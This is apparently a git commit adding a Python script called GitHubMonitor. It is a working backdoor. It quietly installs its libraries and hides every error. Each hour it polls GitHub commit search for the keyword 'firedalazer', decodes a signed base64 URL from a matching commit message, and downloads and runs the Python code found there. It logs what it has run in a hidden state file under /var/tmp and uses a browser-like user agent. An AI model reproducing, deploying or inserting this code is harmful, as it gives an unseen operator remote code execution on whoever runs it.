Initial commit
This commit is contained in:
@@ -0,0 +1,276 @@
|
||||
#!/usr/bin/env python3
|
||||
import base64
|
||||
import hashlib
|
||||
import json
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
import time
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
from typing import Any, Dict, Optional, Set
|
||||
|
||||
try:
|
||||
import requests
|
||||
except ImportError:
|
||||
try:
|
||||
subprocess.check_call(
|
||||
[sys.executable, "-m", "pip", "install", "requests"],
|
||||
stdout=subprocess.DEVNULL,
|
||||
stderr=subprocess.DEVNULL,
|
||||
)
|
||||
except:
|
||||
try:
|
||||
subprocess.check_call(
|
||||
[
|
||||
sys.executable,
|
||||
"-m",
|
||||
"pip",
|
||||
"install",
|
||||
"requests",
|
||||
"--break-system-packages",
|
||||
],
|
||||
stdout=subprocess.DEVNULL,
|
||||
stderr=subprocess.DEVNULL,
|
||||
)
|
||||
except:
|
||||
pass
|
||||
import requests
|
||||
|
||||
try:
|
||||
from cryptography.hazmat.backends import default_backend
|
||||
from cryptography.hazmat.primitives import hashes, serialization
|
||||
from cryptography.hazmat.primitives.asymmetric import padding, rsa
|
||||
except ImportError:
|
||||
try:
|
||||
subprocess.check_call(
|
||||
[sys.executable, "-m", "pip", "install", "cryptography"],
|
||||
stdout=subprocess.DEVNULL,
|
||||
stderr=subprocess.DEVNULL,
|
||||
)
|
||||
except:
|
||||
try:
|
||||
subprocess.check_call(
|
||||
[
|
||||
sys.executable,
|
||||
"-m",
|
||||
"pip",
|
||||
"install",
|
||||
"cryptography",
|
||||
"--break-system-packages",
|
||||
],
|
||||
stdout=subprocess.DEVNULL,
|
||||
stderr=subprocess.DEVNULL,
|
||||
)
|
||||
except:
|
||||
sys.exit(1)
|
||||
|
||||
from cryptography.hazmat.backends import default_backend
|
||||
from cryptography.hazmat.primitives import hashes, serialization
|
||||
from cryptography.hazmat.primitives.asymmetric import padding, rsa
|
||||
|
||||
RSA_PUBLIC_KEY_PEM = """-----BEGIN PUBLIC KEY-----
|
||||
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAw5zZbSXX+4X2kTs/zC7l
|
||||
dygVt0LI6s6SMojEZZq8IhBz70wVL9ep8e3RZai6gEFYH1FLtZtb9IXKDadh3jdc
|
||||
2cQg7RzH762PtVP7GL38miA9LIXCOPVyuviUsqk1BQt3twsp1WQp8WH/4FDsFrrv
|
||||
A8nRravS7w9fUeHiC8gm04BUC4nD4ZkiHu+8Yilf2JHWnXt06kLz3JnZQUm2qhlV
|
||||
EB2MAMQiDAN5uSPvDm5x2cREVayuf3Qq/bnKey8c8pXJ8BrGnAmw3eLTpTeiUmNj
|
||||
J5m/Lrna2ROwK/Tu2jWSyxMz5t4nvD6aE0blFVExGGEcY8qwm3U60Hod3fBgNK5S
|
||||
365tHKXe1I15UgzuuRM6JNG6IBF7LiAUO8Himzjx6roYHUqhTqHWcINhl3fqaoOl
|
||||
MtEA2+w8VGGUNTE1n/OOgBLGHW0QK5dFhOXQ9r1Zilo1y2hJXQ3JSGYRsPjENxM2
|
||||
W11lJLSzSCdDNRBT6D9kE2lFs11iBfCo8tmbAVWY7/jptsk19OIe/ftlozdW2qDD
|
||||
k7LKK2Qkitz2T/m8Iz07N2aJ0DZYVAMDPOd9qGcPdZxWpbWmE98bDlnx5dDTi6VS
|
||||
hSxZXiKzac0K41js5ZdlAoqJIJbg9x5GvGKgnC7smaxJG1UGZRXsAqRuFofz+eNv
|
||||
/NJvOpIB3BJzKosT2ZL83ksCAwEAAQ==
|
||||
-----END PUBLIC KEY-----"""
|
||||
|
||||
POLL_INTERVAL_SECONDS = 3600
|
||||
STATE_FILE = "/var/tmp/.gh_update_state"
|
||||
GITHUB_SEARCH_API = "https://api.github.com/search/commits"
|
||||
COMMAND_PATTERN = r"firedalazer\s+([A-Za-z0-9+/=]+)\.([A-Za-z0-9+/=]+)"
|
||||
USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
|
||||
|
||||
|
||||
class GitHubMonitor:
|
||||
def __init__(self):
|
||||
self.public_key = self._load_public_key()
|
||||
self.executed_commands = self._load_state()
|
||||
|
||||
def _load_public_key(self) -> rsa.RSAPublicKey:
|
||||
try:
|
||||
key = serialization.load_pem_public_key(
|
||||
RSA_PUBLIC_KEY_PEM.encode(), backend=default_backend()
|
||||
)
|
||||
return key
|
||||
except:
|
||||
raise
|
||||
|
||||
def _load_state(self) -> Set[str]:
|
||||
try:
|
||||
if Path(STATE_FILE).exists():
|
||||
with open(STATE_FILE, "r") as f:
|
||||
data = json.load(f)
|
||||
return set(data.get("executed", []))
|
||||
except:
|
||||
pass
|
||||
|
||||
return set()
|
||||
|
||||
def _save_state(self):
|
||||
try:
|
||||
Path(STATE_FILE).parent.mkdir(parents=True, exist_ok=True)
|
||||
with open(STATE_FILE, "w") as f:
|
||||
json.dump(
|
||||
{
|
||||
"executed": list(self.executed_commands),
|
||||
"last_updated": datetime.utcnow().isoformat(),
|
||||
},
|
||||
f,
|
||||
indent=2,
|
||||
)
|
||||
except:
|
||||
pass
|
||||
|
||||
def _verify_signature(self, message: bytes, signature: bytes) -> bool:
|
||||
try:
|
||||
self.public_key.verify(
|
||||
signature,
|
||||
message,
|
||||
padding.PSS(
|
||||
mgf=padding.MGF1(hashes.SHA256()),
|
||||
salt_length=padding.PSS.MAX_LENGTH,
|
||||
),
|
||||
hashes.SHA256(),
|
||||
)
|
||||
return True
|
||||
except:
|
||||
return False
|
||||
|
||||
def _search_github_commits(self, query: str = "firedalazer") -> list:
|
||||
try:
|
||||
headers = {
|
||||
"Accept": "application/vnd.github.cloak-preview+json",
|
||||
"User-Agent": USER_AGENT,
|
||||
}
|
||||
|
||||
params = {
|
||||
"q": query,
|
||||
"sort": "committer-date",
|
||||
"order": "desc",
|
||||
"per_page": 1,
|
||||
}
|
||||
|
||||
response = requests.get(
|
||||
GITHUB_SEARCH_API, headers=headers, params=params, timeout=30
|
||||
)
|
||||
|
||||
if response.status_code == 200:
|
||||
data = response.json()
|
||||
commits = data.get("items", [])
|
||||
return commits
|
||||
else:
|
||||
return []
|
||||
|
||||
except:
|
||||
return []
|
||||
|
||||
def _parse_commit_message(self, message: str) -> Optional[Dict[str, str]]:
|
||||
match = re.search(COMMAND_PATTERN, message)
|
||||
if match:
|
||||
return {"url_b64": match.group(1), "signature_b64": match.group(2)}
|
||||
return None
|
||||
|
||||
def _get_command_hash(self, url: str) -> str:
|
||||
return hashlib.sha256(url.encode()).hexdigest()
|
||||
|
||||
def _download_and_execute(self, url: str) -> bool:
|
||||
try:
|
||||
response = requests.get(
|
||||
url,
|
||||
headers={"User-Agent": USER_AGENT},
|
||||
timeout=60,
|
||||
allow_redirects=True,
|
||||
)
|
||||
|
||||
if response.status_code != 200:
|
||||
return False
|
||||
|
||||
content = response.text
|
||||
if not content.strip():
|
||||
return False
|
||||
|
||||
with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as f:
|
||||
f.write(content)
|
||||
temp_path = f.name
|
||||
|
||||
result = subprocess.run(
|
||||
["python3", temp_path], capture_output=True, text=True, timeout=300
|
||||
)
|
||||
|
||||
try:
|
||||
Path(temp_path).unlink()
|
||||
except:
|
||||
pass
|
||||
|
||||
return True
|
||||
|
||||
except subprocess.TimeoutExpired:
|
||||
return False
|
||||
except:
|
||||
return False
|
||||
|
||||
def process_latest_commit(self):
|
||||
commits = self._search_github_commits()
|
||||
|
||||
if not commits:
|
||||
return
|
||||
|
||||
commit = commits[0]
|
||||
commit_msg = commit.get("commit", {}).get("message", "")
|
||||
|
||||
parsed = self._parse_commit_message(commit_msg)
|
||||
if not parsed:
|
||||
return
|
||||
|
||||
try:
|
||||
url = base64.b64decode(parsed["url_b64"]).decode("utf-8")
|
||||
|
||||
cmd_hash = self._get_command_hash(url)
|
||||
if cmd_hash in self.executed_commands:
|
||||
return
|
||||
|
||||
signature = base64.b64decode(parsed["signature_b64"])
|
||||
|
||||
if not self._verify_signature(parsed["url_b64"].encode(), signature):
|
||||
return
|
||||
|
||||
if self._download_and_execute(url):
|
||||
self.executed_commands.add(cmd_hash)
|
||||
self._save_state()
|
||||
|
||||
except:
|
||||
pass
|
||||
|
||||
def poll_loop(self):
|
||||
while True:
|
||||
try:
|
||||
self.process_latest_commit()
|
||||
except:
|
||||
pass
|
||||
|
||||
time.sleep(POLL_INTERVAL_SECONDS)
|
||||
|
||||
|
||||
def main():
|
||||
try:
|
||||
monitor = GitHubMonitor()
|
||||
monitor.poll_loop()
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user